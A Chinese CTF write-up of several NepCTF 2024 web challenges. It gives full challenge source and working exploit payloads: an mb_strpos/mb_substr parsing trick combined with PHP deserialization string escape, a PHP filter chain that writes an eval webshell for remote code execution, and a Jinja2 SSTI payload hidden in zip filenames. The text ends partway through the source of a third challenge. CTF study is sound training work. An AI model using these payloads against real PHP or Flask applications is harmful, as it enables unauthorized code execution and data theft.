2024 NepCTF 部分题目复现学习

PHP_MASTER

PHP由mb_strpos与mb_substr执行差异导致的小trick - Eddie_Murphy - 博客园

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
highlight_file( __FILE__);
error_reporting(0);

function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start + 1, $end - 1 - $start);
}
class A{
public $key;
public function readflag(){
if($this->key=== "\0key\0"){
$a = $_POST[1];
$contents = file_get_contents($a);
file_put_contents($a, $contents);

}
}
}


class B
{

public $b;
public function __tostring()
{
if(preg_match("/\[|\]/i", $_GET['nep'])){
die("NONONO!!!");
}
$str = substrstr($_GET['nep1']."[welcome to". $_GET['nep']."CTF]");
echo $str;
if ($str==='NepCTF]'){
return ($this->b) ();
}

}
}
class C
{

public $s;

public $str;

public function __construct($s)
{
$this->s = $s;
}

public function __destruct()
{


echo $this ->str;
}
}
$ser = serialize(new C($_GET['c']));
$data = str_ireplace("\0","00",$ser);
unserialize($data);

字符增加型字符串逃逸。

mb_strpos 和 mb_substr 解析漏洞

mb_strposmb_substr解析不一致漏洞:
如果\xF0开头的文本出现在 UTF-8 编码,表示一个四字节的 Unicode 字符,如果不符合四位规则时则存在执行差异:

  • mb_strpos遇到\xF0时,会把无效字节先前的字节视为一个字符,然后从无效字节重新开始解析
1
mb_strpos("\xf0\x9fAAA<BB", '<'); #返回4 \xf0\x9f视作是一个字节,从A开始变为无效字节 #A为\x41  上述字符串其认为是7个字节
  • mb_substr遇到\xF0时,会把无效字节当做四字节Unicode字符的一部分,然后继续解析
1
mb_substr("\xf0\x9fAAA<BB", 0, 4); #"\xf0\x9fAAA<B" \xf0\x9fAA视作一个字符 上述字符串其认为是5个字节

可以通过这种方式将索引值向后移动。

1
2
3
4
5
6
7
8
9
<?php
echo mb_strpos("AAAAA<BB", '<');
// 5
echo mb_strpos("\xf0\x9fAAA<BB", '<');
// 4
echo mb_substr("AAAAA<BB", 0,4);
// AAAA
echo mb_substr("\xf0\x9fAAA<BB", 0,4);
// �AAA<B

因此这里构造出:

1
2
3
4
5
6
nep1=%f0abc%f0abc%f0abc%f0abc&nep=%9f%9fNep
// 拼接结果是
%f0abc%f0abc%f0abc%f0abc[welcome to%9f%9fNepCTF]
$start = mb_strpos($data, "["); // 16
$end = mb_strpos($data, "]"); // 33
return mb_substr($data, $start + 1, $end - 1 - $start); // NepCTF]

逻辑出发解决

1
nep1=]1111111111111[NepCTF]

也就是拼接出的结果是:

1
2
3
4
]1111111111111[NepCTF][welcome toCTF]
$start = mb_strpos($data, "["); // 1
$end = mb_strpos($data, "]"); // 40
return mb_substr($data, $start + 1, $end - 1 - $start); // NepCTF]

反序列化

然后反序列化一下就可以:

1
2
3
4
5
6
7
8
$b=new B();
$c=new C("1");
$b->b=[new A(),'readflag'];
$c->str=$b;
$ser = serialize($c);
echo $ser;

// O:1:"C":2:{s:1:"s";s:1:"1";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";N;}i:1;s:8:"readflag";}}}

这里的$b->b这里竟然能触发,好神奇。

神奇的引用方式

同理经过测试下,也可以通过这种触发方式触发。

1
2
3
4
5
6
7
8
9
10
<?php
class A{
public $key = "nice";
public function nice()
{
echo "111,大哥真的吗?";
}
}
$a = [new A(), 'nice'];
call_user_func($a);

其他的就是正常的引用即可

字符串增多逃逸

1
$data = str_ireplace("\0","00",$ser);

\0是空,也就是用%00替代出来。也就是 3(%00) 替出 2(00)。
这里就不过多解释了,后面有 100 位,前面就需要有 300 个给留出空位,以此类推。

key 检测

前面已经将所有空字符转换成 00,这里不能被检测有空白符,所以就可以用\00十六进制来绕过。

filter chain

GitHub - synacktiv/php_filter_chain_generator
FilterChain攻击解析及利用 - Boogiepop Doesn’t Laugh

建议看世界互联网中心——Boogipop 的文章,先学习下。
最后这个伪协议就用 filterchain 就行。

1
2
3
4
python .\php_filter_chain_generator.py --chain "<?php eval($_GET[1])?>"
// <?php eval([1])?>
python .\php_filter_chain_generator.py --chain '<?php eval($_POST[1])?>'
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7/resource=1.php

注意这里要用单引号扩起 php 语句,否则 shell 会将$xx 解析掉。
如果直接生成的使用的 php://temp 这里是用不了的,需要落地一个文件 1.php(也就是说第一个 payload 打两次),但是生成的还是空白文件,再用伪协议读一次就可以了。

1
php://filter/write=convert.base64-decode/resource=1.php

如果还空白可能需要多读几遍,然后就能 rce 了。
payload:

1
2
3
4
5
6
GET:
c=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%22%3Bs%3A3%3A%22str%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A1%3A%22b%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A3%3A%22key%22%3BS%3A5%3A%22%5C00key%5C00%22%3B%7Di%3A1%3Bs%3A8%3A%22readflag%22%3B%7D%7D%7D&nep1=%f0abc%f0abc%f0abc%f0abc&nep=%9f%9fNep
POST-1:
1=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7/resource=1.php
POST-2:
1=php://filter/write=convert.base64-decode/resource=1.php

image.png
然后就能 rce,发现在 env 中,也就是说直接 phpinfo 就可以解决。

NepDouble

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
from flask import Flask, request,render_template,render_template_string
from zipfile import ZipFile
import os
import datetime
import hashlib
from jinja2 import Environment, FileSystemLoader

app = Flask(__name__,template_folder='static')
app.config['MAX_CONTENT_LENGTH'] = 1 * 1024 * 1024

UPLOAD_FOLDER = '/app/uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)

template_env = Environment(loader=FileSystemLoader('static'), autoescape=True)


def render_template(template_name, **context):
template = template_env.get_template(template_name)
return template.render(**context)

def render_template_string(template_string, **context):
template = template_env.from_string(template_string)
return template.render(**context)


@app.route('/', methods=['GET', 'POST'])
def main():
if request.method != "POST":
return 'Please use POST method to upload files.'

try:
clear_uploads_folder()
files = request.files.get('tp_file', None)
if not files:
return 'No file uploaded.'

file_size = len(files.read())
files.seek(0)


file_extension = files.filename.rsplit('.', 1)[-1].lower()
if file_extension != 'zip':
return 'Invalid file type. Please upload a .zip file.'


timestamp = datetime.datetime.now().strftime('%Y%m%d%H%M%S')
md5_dir_name = hashlib.md5(timestamp.encode()).hexdigest()
unzip_folder = os.path.join(app.config['UPLOAD_FOLDER'], md5_dir_name)
os.makedirs(unzip_folder, exist_ok=True)


with ZipFile(files) as zip_file:
zip_file.extractall(path=unzip_folder)

files_list = []
for root, dirs, files in os.walk(unzip_folder):
for file in files:
print(file)
file_path = os.path.join(root, file)
relative_path = os.path.relpath(file_path, app.config['UPLOAD_FOLDER'])
link = f'<a href="/cat?file={relative_path}">{file}</a>'
files_list.append(link)

return render_template_string('<br>'.join(files_list))

except ValueError:
return 'Invalid filename.'

except Exception as e:
return 'An error occurred. Please check your file and try again.'


@app.route('/cat')
def cat():
file_path = request.args.get('file')
if not file_path:
return 'File path is missing.'

new_file = os.path.join(app.config['UPLOAD_FOLDER'], file_path)
if os.path.commonprefix([os.path.abspath(new_file), os.path.abspath(app.config['UPLOAD_FOLDER'])]) != os.path.abspath(app.config['UPLOAD_FOLDER']):
return 'Invalid file path.'

if os.path.islink(new_file):
return 'Symbolic links are not allowed.'

try:
filename = file_path.split('/')[-1]
content = read_large_file(new_file)
return render_template('test.html',content=content,filename=filename,dates=Exec_date())
except FileNotFoundError:
return 'File not found.'
except IOError as e:
return f'Error reading file: {str(e)}'

def Exec_date():
d_res = os.popen('date').read()
return d_res.split(" ")[-1].strip()+" "+d_res.split(" ")[-3]

def clear_uploads_folder():
for root, dirs, files in os.walk(app.config['UPLOAD_FOLDER'], topdown=False):
for file in files:
os.remove(os.path.join(root, file))
for dir in dirs:
os.rmdir(os.path.join(root, dir))

def read_large_file(file_path):
content = ''
with open(file_path, 'r') as file:
for line in file:
content += line
return content

if __name__ == '__main__':
app.run('0.0.0.0',port="8000",debug=False)

SSTI

文件上传,然后会将解压后的文件名已链接的被渲染。主要问题是文件名不能出现某些字符,所以需要 bypass 下。

1
2
3
4
5
6
7
8
9
10
files_list = []
for root, dirs, files in os.walk(unzip_folder):
for file in files:
print(file)
file_path = os.path.join(root, file)
relative_path = os.path.relpath(file_path, app.config['UPLOAD_FOLDER'])
link = f'<a href="/cat?file={relative_path}">{file}</a>'
files_list.append(link)

return render_template_string('<br>'.join(files_list))

这里是渲染的函数。
这里用八进制 bypass 下过滤的文本内容。
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
text = """
{{lipsum.__globals__['os'].popen('\\\\143'+'\\\\141'+'\\\\164'+'\\\\40'+'\\\\57'+'\\\\146'+'\\\\52').read()}}
"""
pairs = {'{': r'\{',
'}': r'\}',
'[': r'\[',
']': r'\]',
'(': r'\(',
')': r'\)',
"'": r"\'",
'"': r'\"'}

for char, replacement in pairs.items():
text = text.replace(char, replacement)

print(text)

然后(注意这个 vim 后面的文本名不要加引号)

1
2
vim \{\{lipsum.__globals__\[\'os\'\].popen\(\'\\143\'+\'\\141\'+\'\\164\'+\'\\40\'+\'\\57\'+\'\\146\'+\'\\52\'\).read\(\)\}\}
zip 123.zip \{\{lipsum.__globals__\[\'os\'\].popen\(\'\\143\'+\'\\141\'+\'\\164\'+\'\\40\'+\'\\57\'+\'\\146\'+\'\\52\'\).read\(\)\}\}

上传脚本,这个直接用下官方的:

1
2
3
4
5
import requests                  

files = {"tp_file":('123.zip',open('123.zip','rb').read())}
res = requests.post(url="https://neptune-27465.nepctf.lemonprefect.cn/",files=files)
print(res.text)

image.png

蹦蹦炸弹(boom_it)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
from flask import Flask, render_template, request, session, redirect, url_for
import threading
import random
import string
import datetime
import rsa
from werkzeug.utils import secure_filename
import os
import subprocess

(pubkey, privkey) = rsa.newkeys(2048)

app = Flask(__name__)
app.secret_key = "super_secret_key"



UPLOAD_FOLDER = 'templates/uploads'
ALLOWED_EXTENSIONS = {'png', 'jpg', 'txt'}

app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/admin', methods=['GET', 'POST'])
def admin():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username == 'admin' and password == users.get('admin', {}).get('password'):
session['admin_logged_in'] = True
return redirect(url_for('admin_dashboard'))
else:
return "Invalid credentials", 401
return render_template('admin_login.html')

@app.route('/admin/dashboard', methods=['GET', 'POST'])
def admin_dashboard():
if not session.get('admin_logged_in'):
return redirect(url_for('admin'))

if request.method == 'POST':
if 'file' in request.files:
file = request.files['file']
if file.filename == '':
return 'No selected file'
filename = file.filename
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return 'File uploaded successfully'

cmd_output = ""
if 'cmd' in request.args:
if os.path.exists("lock.txt"): # 检查当前目录下是否存在lock.txt
cmd = request.args.get('cmd')
try:
cmd_output = subprocess.check_output(cmd, shell=True).decode('utf-8')
except Exception as e:
cmd_output = str(e)
else:
cmd_output = "lock.txt not found. Command execution not allowed."
return render_template('admin_dashboard.html', users=users, cmd_output=cmd_output, active_tab="cmdExecute")


@app.route('/admin/logout')
def admin_logout():
session.pop('admin_logged_in', None)
return redirect(url_for('index'))

# Generate random users
def generate_random_users(n):
users = {}
for _ in range(n):
username = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
password = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
users[username] = {"password": password, "balance": 2000}
return users

users = generate_random_users(1000)
users["HRP"] = {"password": "HRP", "balance": 6000}

# Add an admin user with a random password
admin_password = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
users["admin"] = {"password": admin_password, "balance": 0}

flag_price = 10000
flag = admin_password # The flag is the password of the admin user
mutex = threading.Lock()


@app.route('/')
def index():
if "username" in session:
return render_template("index.html", logged_in=True, username=session["username"], balance=users[session["username"]]["balance"])
return render_template("index.html", logged_in=False)

@app.route('/reset', methods=['GET'])
def reset():
global users
users = {} # Clear all existing users
users = generate_random_users(1000)
users["HRP"] = {"password": "HRP", "balance": 6000}
global admin_password
admin_password={}
global flag
# Add an admin user with a random password
admin_password = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
flag=admin_password

users["admin"] = {"password": admin_password, "balance": 0}

return redirect(url_for('index'))


@app.route('/login', methods=["POST"])
def login():
username = request.form.get("username")
password = request.form.get("password")
if username in users and users[username]["password"] == password:
session["username"] = username
return redirect(url_for('index'))
return "Invalid credentials", 403

@app.route('/logout')
def logout():
session.pop("username", None)
return redirect(url_for('index'))


def log_transfer(sender, receiver, amount):
def encrypt_data_with_rsa(data, pubkey):
for _ in range(200): # Encrypt the data multiple times
encrypted_data = rsa.encrypt(data.encode(), pubkey)
return encrypted_data.hex()

timestamp = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')

# Encrypt the amount and timestamp
encrypted_amount = encrypt_data_with_rsa(str(amount), pubkey)
encrypted_timestamp = encrypt_data_with_rsa(timestamp, pubkey)

log_data = f"{encrypted_timestamp} - Transfer from {sender} to {receiver} of encrypted amount {encrypted_amount}\n"

for _ in range(1):
log_data += f"Transaction initiated from device: {random.choice(['Mobile', 'Web', 'ATM', 'In-Branch Terminal'])}\n"
log_data += f"Initiator IP address: {random.choice(['192.168.1.', '10.0.0.', '172.16.0.'])}{random.randint(1, 254)}\n"
log_data += f"Initiator geolocation: Latitude {random.uniform(-90, 90):.6f}, Longitude {random.uniform(-180, 180):.6f}\n"
log_data += f"Receiver's last login device: {random.choice(['Mobile', 'Web', 'ATM'])}\n"
log_data += f"Associated fees: ${random.uniform(0.1, 3.0):.2f}\n"
log_data += f"Remarks: {random.choice(['Regular transfer', 'Payment for invoice #'+str(random.randint(1000,9999)), 'Refund for transaction #'+str(random.randint(1000,9999))])}\n"
log_data += "-"*50 + "\n"

with open('transfer_log.txt', 'a') as f:
f.write(log_data)




@app.route('/transfer', methods=["POST"])
def transfer():
if "username" not in session:
return "Not logged in", 403

receivers = request.form.getlist("receiver")
amount = int(request.form.get("amount"))
if amount <0:
return "Insufficient funds", 400
logging_enabled = request.form.get("logs", "false").lower() == "true"

if session["username"] in receivers:
return "Cannot transfer to self", 400

for receiver in receivers:
if receiver not in users:
return f"Invalid user {receiver}", 400

total_amount = amount * len(receivers)
if users[session["username"]]["balance"] >= total_amount:
for receiver in receivers:
if logging_enabled:
log_transfer(session["username"], receiver, amount)
mutex.acquire()
users[session["username"]]["balance"] -= amount
users[receiver]["balance"] += amount
mutex.release()
return redirect(url_for('index'))
return "Insufficient funds", 400


@app.route('/buy_flag')
def buy_flag():
if "username" not in session:
return "Not logged in", 403

if users[session["username"]]["balance"] >= flag_price:
users[session["username"]]["balance"] -= flag_price
return f"Here is your flag: {flag}"
return "Insufficient funds", 400

@app.route('/get_users', methods=["GET"])
def get_users():
num = int(request.args.get('num', 1000))
selected_users = random.sample(list(users.keys()), num)
return {"users": selected_users}

@app.route('/view_balance/<username>', methods=["GET"])
def view_balance(username):
if username in users:
return {"username": username, "balance": users[username]["balance"]}
return "User not found", 404

@app.route('/force_buy_flag', methods=["POST"])
def force_buy_flag():
if "username" not in session or session["username"] != "HRP":
return "Permission denied", 403

target_user = request.form.get("target_user")
